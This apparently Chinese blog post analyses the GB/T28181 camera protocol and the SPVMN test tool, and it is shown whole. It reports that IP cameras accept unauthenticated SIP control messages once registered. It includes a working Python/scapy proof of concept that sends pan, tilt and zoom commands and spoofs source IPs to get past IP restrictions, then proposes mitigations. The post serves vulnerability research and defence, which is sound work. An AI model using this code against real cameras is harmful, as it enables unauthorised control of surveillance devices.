這幾天都在作設備的協議分析,而後看到有個叫Spvmn的不懂要怎麼操做才能觸發其操做過程,問了測試部的同事說也沒有測試文檔,本身研究了一下這裏作個記錄。html
按我如今理解,各廠商有本身的私有協議、ONVIF是世界標準協議、GB/T28181是國標;Onvif Test Tool是ONVIF協議實現的測試工具,而SPVMN是GB/T28181協議實現的測試工具。java
IPC:首先須要一臺支持GB/T28181(或者說有Spvmn配置)的IPC,這個是必然的。web
Windows電腦:看spvmn裏邊的文檔說只支持Windows,Linux沒試過。apache
JDK1.5:我使用JDK1.8該問頁面一直報錯,換成1.5才能成功訪問。下載地址點連接。tomcat
報錯:org.apache.jasper.JasperException: Unable to compile class for JSP服務器
Spvmn工具下載地址:http://7dx.pc6.com/wwb5/SPVMN.zipsession
下載直接解壓到本身想要的目錄,該工具本質是一個tomcat,裏邊部署了一個用於測試的jsp應用。和正常tomcat同樣到bin目錄點擊startup.bat啓動便可。oracle
不過要注意,該tomcat默認使用8080端口,而後又啓了在5060開了一個監聽,因此在啓動前要注意確保本機的這兩個端口沒被佔用。app
tomcat啓動完成後,訪問後邊的連接,若是一切正常頁面應以下圖:http://127.0.0.1:8080/SIPStandardDebug/ssh
使用Onvif Test Tool等工具,咱們都是在Onvif Test Tool等工具輸入IPC的用戶名密碼向IPC認證。但Spvmn反過來,是在IPC中輸入Spvmn的「用戶名密碼」,IPC向Spvmn認證。
這認證邏輯存在問題,咱們後邊再說,這裏主要是知道是這樣子就能夠了。
Spvmn的「用戶名密碼」,存放在"webapps\SIPStandardDebug\WEB-INF\classes\SSDConfig.properties"中,主要找到這兩個節區的信息
找到這些信息後,打開IPC上的Spvmn配置頁面,把這些信息複製填到Spvmn頁面對應的框中,而後保存啓動便可。(Sip服務器就是裝Spvmn的那臺電腦)
此時回到Spvmn頁面,依次點調測輔助面---鏈路管理,如無心外在彈出頁面中便可看到IPC成功上線。
第一步,點擊「調測設備類型」選好要進行調測的設備,咱們這裏是IPC
第二步,在下面的各類操做經過點擊選中本身要測試的命令,好比我這裏點「向左」
第三步,點選好命令後在左下窗格中即會呈現該命令將會發送的主體報文,點擊「發送消息」按鈕,該命令即會向IPC發出返回結果呈如今右下窗格中。
固然協議實現除了看有消息返回外,更主要的仍是要看IPC是否真的執行了相應的動做。好比咱們這裏發了「向左」命令,IPC是否真的有向左旋轉。
使用wireshark攔截數據包觀察交互過程以下圖。
IPC向Spvmn發起註冊(REGISTER)請求,Spvmn回覆未認證(Unauthorized),IPC經過Digest形式提交用戶名密碼,Spvmn回覆認證成功。然後就都是Spvmn向IPC發送各類命令操控IPC(MESSAGE)。
正如咱們向服務器認證,後續請求都得帶session向服務器代表身份而服務器什麼都不須要帶同樣;ipc向spvmn認證,那麼後續請求上都是ipc向spvmn攜帶認證信息,而spvmn不會向ipc攜帶認證信息。(實際看來只有在上線註冊時ipc向spvmn帶了用戶名密碼,以後雙方就都沒帶會話信息)
既然不須要認證信息的話,那是否是說,只要IPC開啓spvmn,我假裝成spvmn服務器向ipc發命令ipc都會執行。而通過實驗發現事實也是如此,測試代碼以下可自行使用本身環境進行測試。
from scapy.all import * # 假裝成本地spvmn發包,這個其實不必 local_ip = "10.10.6.91" local_port = 5060 # 有些IPC限制只接收從spvmn頁面配置的ip發來的命令,此時能夠經過僞造IP繞過 cheat_ip = "10.10.6.92" # 目標ipc ip和端口 # ipc_ip = "10.10.6.98" ipc_ip = "10.20.23.150" ipc_port = 5060 # 1--turn_left,2--zoom_out,3--zoom_out_use_scapy,4--stop command_flag = 3 # 讓IPC向左旋轉命令 def turn_left(): # 創建發送socket,和正常UDP數據包沒區別 send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 其實不須要綁定端口 # send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: b73541b1e114a46ed90805e4da810973@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=86660128_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_18249986822757\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F01021F0000D6</PTZCmd>\r\n""" """</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 放大 def zoom_out(): send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n""" """</Control>""" ) send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() # 使用scapy僞造源IP地址 def zoom_out_use_scapy(): message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 777439ee00588111099b4d6bec2d68f4@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=41520101_53173353_d839a55f-03bb-4cc7-9b7a-d3a7c1fc659e\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5060;line=4bc806b81a29f15;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bKd839a55f-03bb-4cc7-9b7a-d3a7c1fc659e_53173353_109133442800318\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0110000010D5</PTZCmd>\r\n""" """</Control>""" ) udp_packet = IP(src=cheat_ip, dst=ipc_ip) / UDP(dport=ipc_port) / message send(udp_packet) # 讓IPC中止全部動做命令 def stop(): send_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) # 其實不須要綁定端口 # send_sock.bind((local_ip, local_port)) message = ("""MESSAGE sip:34020000001320000001@34020000 SIP/2.0\r\n""" """Call-ID: 0b9ed3de1558c60bc7ec2efc0dbdb744@0.0.0.0\r\n""" """CSeq: 1 MESSAGE\r\n""" """From: <sip:34020000002000000001@34020000>;tag=87210045_53173353_32620149-dd3d-44e4-87ba-04ed172c9c00\r\n""" """To: <sip:34020000001320000001@34020000>\r\n""" """Max-Forwards: 70\r\n""" """Content-Type: Application/MANSCDP+xml\r\n""" """Route: <sip:34020000001320000001@10.10.6.98:5061;line=69701e6f20a4d96;lr>\r\n""" """Monitor-User-Identity: operation=ptz,extparam=0\r\n""" """Via: SIP/2.0/UDP 10.10.6.91:5060;branch=z9hG4bK32620149-dd3d-44e4-87ba-04ed172c9c00_53173353_20090787679737\r\n""" """Content-Length: 169\r\n""" """\r\n""" """<?xml version="1.0"?>\r\n""" """<Control>\r\n""" """<CmdType>DeviceControl</CmdType>\r\n""" """<SN>11</SN>\r\n""" """<DeviceID>34020000001320000001</DeviceID>\r\n""" """<PTZCmd>A50F0100000000B5</PTZCmd>\r\n""" """</Control>\r\n""") send_sock.sendto(message.encode(), (ipc_ip, ipc_port)) print(f'{time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())}: message send finish') send_sock.close() if __name__ == "__main__": if command_flag == 1: turn_left() elif command_flag == 2: zoom_out() elif command_flag == 3: zoom_out_use_scapy() else: stop()
方法一:
咱們能不能在IPC端設定,只處理來自自身配置好的Spvmn的ip發來的命令?
答案是不能徹底解決。實際發現有些廠商就作了ip限制,但由於使用的是UDP協議,IP徹底是能夠僞造的。
方法二:
在4.1的代碼的請求中咱們能夠看到有一些應該是spvmn服務器的一些信息,咱們可不能夠在IPC端經過提取這些信息與spvmn配置頁面中的進行比對一致才進行處理?
這應該是能夠解決spvmn僞造的問題,但還存在的問題就是假若spvmn服務器信息泄漏,那麼IPC也會被控制;或者說此時spvmn的用戶名密碼也扮演了IPC用戶名密碼的角色,這增大了IPC的攻擊面。另外在spvmn功能就相似操做系統的telnetd和sshd,攻擊者侵入web後配置好spvmn就獲得了一個自然的後門程序。
方法三:
4.1中咱們說spvmn把認證方向搞反了,其實若是spvmn使用的是tcp而不是udp不用調整認證方向也能達到和方案二同樣的效果。由於若是使用tcp那就是ipc隨便選一個端口與spvmn服務器進行鏈接,該端口是ESTABLISHED狀態而不是LISTENING狀態,你新建一個進程試圖與該端口創建鏈接該端口是不予理會的;而假若是udp沒有創建鏈接過程只能是監聽狀態,僞造的數據它也沒法區分。但若是使用這種方法進行修復就不符合協議標準了,只是提一下。
參考: